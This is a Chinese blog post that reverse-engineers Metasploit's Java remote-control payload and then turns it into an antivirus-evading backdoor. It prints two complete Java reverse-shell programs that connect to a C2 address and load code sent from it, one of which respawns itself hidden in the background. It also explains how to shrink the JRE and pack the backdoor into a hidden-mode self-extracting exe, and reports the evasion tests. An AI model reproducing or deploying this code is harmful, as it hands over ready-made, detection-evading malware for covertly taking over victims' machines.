Metasploit框架其Java载荷原理分析及源码级免杀与JRE精简化实现
本文写于2020年3月1日,于2021年由CSDN迁移博客至此.
某日午睡,迷迷糊糊梦到Metasploit里有个Java平台的远控载荷,梦醒后,打开虚拟机,在框架中搜索到了这个载荷
0x01 运行原理分析
既然是Java平台的程序,JD-GUI等反编译工具自然必不可少
先利用msfvenom输出一个java_payload
在Jar的签名文件中找到加载入口
metasploit.Payload
跟进类文件的主函数入口
可以看到main方法一开始就初始化了一个Properties类,根据官方文档介绍,该实例可以根据指定的键从文件或字符串中提取其值
接下来一个str1成员获取了其所在类的类名,记住这个str1成员,在代码下文中会运用到这个变量
接着inputstream成员获取了自身jar文件中的metasploit.dat文件的流
并且让一开始就初始化的Properties对象调用load方法加载了这个文件的内容,所以可以猜测该文件中应该包含着关键信息
查看文件内容
可以看到该文件中包含三个键与值,其中两个键是需要反弹的目标地址
明晰了文件内容后继续向下查看代码
首先str2变量获取了metasploit.dat文件中键为Executable的值,通过查看文件可知并无此键,所以跳过第一个分支,直接向下执行
接着成员i获取了文件中键为Spawn的值,文件中该值为2,程序在判断该值大于0后进入分支
可知该分支内程序将成员i的值减去1后重写入了原Spawn键,请记住这两个不起眼的操作,至于为什么要这么执行,在下文中会详细解释
继续执行,成员file1创建了一个临时文件,紧接着程序在删除了这个临时文件后又借助file1创建临时文件时得到的路径接连实例化三个File类,并预先传入要输出的位置,其中file4就包含了上文中出现的str1变量(Payload类的文件名),接着程序创建了该路径所在的文件夹.
从上面这一系列操作不难猜出载荷作者可能是要在临时路径中释放载荷文件.
接下来程序接连将自身类实例,str1与file4传入writeEmeddedFile方法中
跟进方法
大致浏览代码可知该方法的作用是获取自身Jar文件中的资源并输出到指定文件夹中
从上文中可知程序将自身Payload.class文件输出到了临时文件夹中
继续阅读代码
程序实例化了FileOutputStream对象,并传入了file3成员,也就是临时文件夹中metasploit.dat应该输出的位置
接着Properties对象将会把已读取到的键与值写入该路径中
继续执行,先查看图中第四处红线标记处,其中getJreExecutable方法是用来获取环境变量中java.exe的文件路径,若环境变量中不存在JDK或JRE路径,则获取执行载荷时所用的java.exe所在路径
也就是说,该处红线处程序通过实例化Runtime对象并利用java.exe重新执行了已经输出在临时文件夹中的Payload.class文件
执行完成之后程序将休眠2秒,接着删除临时文件夹中的所有文件
程序到这里就执行结束了,不会进入到下面的那个分支,main方法中的所有代码已经全部执行完毕了
WTF?WTF?这不是远控载荷吗?反弹shell的步骤呢?不要说什么反弹shell了,连个Socket连接都没建立呢!
先别急,这就是展现载荷作者编写恶意软件时的巧妙之处了,设想一下,在Java程序中若直接建立Socket连接的话,控制台就会一直显示在前台等待,直到连接建立成功或连接超时时才退出程序,这样的话就不能使得程序不可见并隐蔽到后台
查看上文,其中一个操作是调用Runtime对象并利用java.exe重新执行已经输出在临时文件夹中的Payload.class文件,
而调用Runtime执行该class文件时程序并不会因为这个被重新执行的class文件还未运行完成而一直在前台等待直到它运行结束,那么说了这么多,载荷作者到底想要怎么做是不是已经有点头绪了
先回顾一下上文中的一段代码
还记得上文中提到的两个不起眼的操作么?调用Properties对象获取Spawn键中的值,并判断值是否大于0,若大于0就将获取的值减一再重新写进Spawn键,换句话说,每次Spawn大于0时,程序向下执行,最终这个class文件就会被重新执行一遍,而Spawn键中的值就会减小并再次写进临时文件夹中,最终键值等于0时就会进入判断的另一个分支
跟进另一个判断分支
可以看到在判断的另一个分支内,程序使得成员j和成员str4分别调用Properties对象获取了键LPORT与LHOST的值
程序向下执行,直接进入图中正下方红线标记处的else分支,可以看到程序通过实例化Socket类向指定上线地址建立套接字,
并将套接字IO流赋予成员inputStream1与outputStream
程序继续在分支中向下执行
通过红线标记处可知套接字IO流最终被传入bootstrap方法中
跟进方法
如果有看过我上一篇分析Android后门的博文的话,到这里就可以知道该Java后门仍然是利用动态加载远程发送的class文件的方式执行C2地址下达的指令的
【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell
新瓶装老酒,看图中红线标记处,成员i首先调用readInt方法读取IO流中C2地址向受控端发送的int数据,该段数据就是C2地址发送的class文件的长度,
可以看到第二处红线标记处的arrayOfByte成员实例化byte对象并将class文件总长度传入,继续向下执行,程序调用resolveClass方法将远程发送来的class文件作为对象以实例化成员clazz,最终clazz调用getMethod方法获取对象中的start方法并传入套接字IO流后执行该方法.
至此,Java后门代码分析完毕,我画了一张图来再次简要表述一下后门的运行流程
接下来我将对分析出的运行流程进行验证
打开Eclipse,将JD-GUI反编译出的Java代码直接复制进集成环境中,其中一些因为反编译工具缺陷而出现的语法错误稍微进行修正就可以正常执行了
先将其中对临时文件进行删除的代码注释掉,并在成员file1创建临时文件之后打印出临时文件所在路径
运行程序,可见控制台打印出了临时文件夹的路径
跟进
可见临时文件夹被创建了两次,其中一个文件夹就是因为Spawn值大于0而使得自身class文件被重新执行而创建的
打开其中一个文件夹中的metasploit.dat文件,可以看到其Spawn值已经不大于0,此时程序就跳进了下一个分支并向C2地址建立了连接
继续修改代码,可见bootstrap方法中红线标记处,此处就是我另外修改的地方,浏览代码上下文可知我将C2地址发送到受控端的class文件输出在桌面下
反编译该class文件
大致浏览代码可知该class文件中的start方法充当一个仍然以动态加载class文件的方式充当接收器的作用
以这种方法向目标建立连接以及加载class文件,Java后门就能被隐藏在用户不可见的后台中
同时这种远程接收class文件并动态加载来达到远控的方法远不同于其它市面上的远控软件,其它间谍软件无非是将控制功能写在受控端,而C2地址去下达指令调用写在受控端中的代码,这样的代码不仅不利于维护,灵活性还极差,而MSF的后门工具则完全相反,动态加载的方法可以说是一劳永逸,代码维护只需在C2地址上进行,用户还可以自行构造class文件以进行更高层次的操作,在这里不得不佩服Metasploit团队编写代码和最大限度压缩恶意软件体积的能力与实力
0x02 实现源码级免杀
既然手里已经有了通过反编译得到的Java后门的源码,那么实现免杀就更轻而易举,
有了上一次免杀Android后门的经验,只需要对源码合理变动,就能绕过大部分杀软的特征检测了
既然运行原理已经熟知,这里首先就对后门进行最简化
注意:若仔细看过Java后门的代码,会发现MSF团队不仅仅考虑了Windows系统,也考虑到了在linux平台上进行远控的场景
代码不仅包含了以reverse_tcp模式加载的后门代码,也包含了对其他模式进行加载的代码(如bind_tcp,reverse_http等等)
所以代码中有大量对操作系统和载荷加载模式进行判断的操作,在本文中并不详细介绍这类方法
而本文的分析仅仅针对对Windows系统和reverse_tcp模式
所以这里简化的代码也仅仅针对此系统和此模式
上图就是我简化后的代码,流程更加简明,仅仅两步
建立对C2地址的套接字并获取IO流,传入bootstrap方法动态加载远程发送的文件
整个流程仅仅38行代码,仅引入4个包
而原载荷中大致有270行代码,引入23个包
运行简化后的代码,meterpreter成功接收到了反弹
import java.io.DataInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Main extends ClassLoader {
public static void main(String[] paramArrayOfString) throws Exception {
getShell();
}
public static void getShell() throws Exception {
InputStream inputStream1 = null;
OutputStream outputStream = null;
int j = new Integer("1937").intValue();
String str4 = "192.168.179.133";
Socket socket = null;
if (str4 != null) {
socket = new Socket(str4, j);
}
inputStream1 = socket.getInputStream();
outputStream = socket.getOutputStream();
(new Main()).bootstrap(inputStream1, outputStream);
}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
try {
Class clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
int i = dataInputStream.readInt();
do {
byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte);
resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));
i = dataInputStream.readInt();
} while (i > 0);
Object object = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });
} catch (Throwable throwable) {
}
}
}
不过这种执行方法不能将程序隐藏到后台
所以继续进行改进
新改进后的代码一共87行,引入7个包
通过浏览上图代码可知,我仅仅在执行getShell方法之前进行了一个判断
运行流程与原载荷大致相同,所以这里不做介绍,直接放代码
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Main extends ClassLoader {
private static final String JAVA = System.getProperty("java.home") + "/bin/java.exe";
public static void main(String[] paramArrayOfString) throws Exception {
runInBackground();
}
public static void runInBackground() throws Exception {
Class clazz=Main.class;
File file1 = File.createTempFile("~spawn", ".tmp");
file1.delete();
File file2 = new File(file1.getAbsolutePath() + ".dir");
file2.mkdir();
File file3=new File(file2,clazz.getName().replace(".", "/")+".class");
File file4=new File(file2,"config");
if(readFile(Main.class, "config").equals("1")) {
writeFile(null, "config", file2,false,"0");
writeFile(clazz, clazz.getName().replace(".", "/")+".class", file2, true, null);
}
else {getShell();}
Runtime.getRuntime().exec(new String[] { JAVA, "-classpath", file2.getAbsolutePath(), clazz.getName() });
Thread.sleep(2000L);
File[] files= {file3,file4,file2};
for(File f:files) {f.delete();}
}
public static void writeFile(Class clazz,String name,File dir,boolean ifIsfile,String config) throws IOException {
InputStream inputStream=null;
if(ifIsfile) {inputStream=clazz.getResourceAsStream("/"+name);}
File file=new File(dir,name);
file.getParentFile().mkdirs();
FileOutputStream fileOutputStream=new FileOutputStream(file);
byte[] b=new byte[4096];
if(ifIsfile) {
int i;
while((i=inputStream.read(b))!=-1) {
fileOutputStream.write(b, 0, i);
}
}else {
fileOutputStream.write(config.getBytes());
}
if(inputStream!=null)inputStream.close();
fileOutputStream.close();
}
public static String readFile(Class clazz,String name) throws IOException {
InputStream inputStream=clazz.getResourceAsStream("/"+name);
StringBuffer str = new StringBuffer();
byte[] b=new byte[1024];
int i;
while((i=inputStream.read(b))!=-1) {
str.append(new String(b,0,i));
}
inputStream.close();
return str.toString();}
public static void getShell() throws Exception {
InputStream inputStream1 = null;
OutputStream outputStream = null;
int j = new Integer("1937").intValue();
String str4 = "192.168.179.133";
Socket socket = null;
if (str4 != null) {
socket = new Socket(str4, j);
}
inputStream1 = socket.getInputStream();
outputStream = socket.getOutputStream();
(new Main()).bootstrap(inputStream1, outputStream);}
private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception {
try {
Class clazz;
DataInputStream dataInputStream = new DataInputStream(paramInputStream);
int i = dataInputStream.readInt();
do {
byte[] arrayOfByte = new byte[i];
dataInputStream.readFully(arrayOfByte);
resolveClass(clazz = defineClass(null, arrayOfByte, 0, i));
i = dataInputStream.readInt();
} while (i > 0);
Object object = clazz.newInstance();
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(object, new Object[] { dataInputStream, paramOutputStream, new String[] {"",""} });
} catch (Throwable throwable) {
}
}
}
接着上传到微步和在线杀毒网站进行测试
微步沙箱检测链接
virscan在线杀毒检测链接
可以看到仅仅简化代码后免杀效果就已经非常理想了
0x03 JRE精简化_将免杀后的代码打包为exe文件
总所周知,Java是一款跨平台语言,不论是在Windows平台还是Linux平台,jar文件都可以在相应环境下运行
但换句话说,即使是只执行一句HelloWorld,java程序都离不开近乎200MB的jre环境,如果只是执行这样一个后门程序就需要如此之大的环境是不可能的,对于普通用户来说这也显示出Java的不便和臃肿
在没有安装jre环境的普通用户来说,显然带着整个jre和后门一起打包是不可能的了,
但我们可以只从jre中提取加载后门时需要用到的class文件,并集合到一起,这样就能大大压缩jre的体积
如图所示,java中夹带-XX:+TraceClassLoading
参数即可列出所有被加载过的class文件,也就是说,只要提取出这部分class文件,就可以满足加载后门程序的需求了
这是jar中的部分命令,其中-x
与-c
参数可以实现我们的目的
jre中的rt.jar包含了程序员编写程序时所有最常用的类文件,所有我们仅仅需要从这个jar包中提取需要的class文件即可
如图,我做了个轮子来提取rt.jar中的文件,就简单的四步
实现代码
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import javax.sound.sampled.LineListener;
public class Main {
public static void main(String[] arg) throws IOException {
Runtime runtime=Runtime.getRuntime();
String[] command={"java","-jar","-XX:+TraceClassLoading","C:\\Users\\Administrator\\Desktop\\msf.jar"};
Process process=runtime.exec(command);
BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuffer sBuffer=new StringBuffer();
List<string> list=new ArrayList<string>();
int i =0;
String lineString;
while((lineString=bReader.readLine())!=null)
{
sBuffer.append("\n"+getCore(lineString));
list.add(getCore(lineString.replace(".", "/")));
i++;
}
bReader.close();
System.out.println(sBuffer.toString());
list.add(0,"C:\\Program Files\\Java\\jdk1.8.0_131\\jre\\lib\\rt.jar");
list.add(0,"xvf");
list.add(0,"jar");
String[] jar=list.toArray(new String[list.size()]);
process=runtime.exec(jar);
getOutput(process);
System.out.println("Load class:" + i );
System.out.println("jar xvf done!");
String[] cmdJarPackage=cmd("jar cvf rt.jar com java javax META-INF org sun sunw");
runtime.exec(cmdJarPackage);
System.out.println("All done!");
}
public static String getCore(String line)
{
String result = null;
if (line.startsWith("[Loaded")) {
//if (line.split(" ")[1].startsWith("java"))//jdk,java,sun.com
if(true)
{
result = line.split(" ")[1];
}
else {
result = "";
}
return result;
}
else {
return "";
}
}public static String[] cmd(String cmd) {
return cmd.split(" ");
}
public static void getOutput(Process process) throws IOException
{
BufferedReader bReader=new BufferedReader(new InputStreamReader(process.getInputStream()));
while(bReader.readLine()!=null)
{
System.out.println("\n" + bReader.readLine());
}
}
}
因为-XX:+TraceClassLoading
参数只能列出被加载的class文件,所以我需要将不能隐藏到后台的后门程序和完善后的后门程序一个个运行,
并且运行其中一些后门功能才能算列出足以满足后门运行需求的class文件
这是未完善的后门程序
这是可以隐藏到后台的程序
将这些加载后的class文件合并为rt.jar
复制jre环境,替换掉其中的rt.jar,一步步测试后门能否运行,若不能运行,则与原jre环境中的rt.jar进行对照,一步步添加还可能需要用到的class文件,
这一步足足消耗了我一天多的时间
最后精简化成果如下
在精简化后jre的根目录下放置后门jar和一个vbs文件,利用vbs来调用简化后jre中的java.exe加载后门
利用winrar捆绑为自解压文件,选择以完全隐藏的模式运行
可以看到压缩后的exe文件仅仅有6MB左右,相比原200多兆的环境,这个简化成功可谓相当不错
简化后的jre链接:
链接: https://pan.baidu.com/s/10F6dvbP-ipMhHcAgT-N2gA 提取码: anf3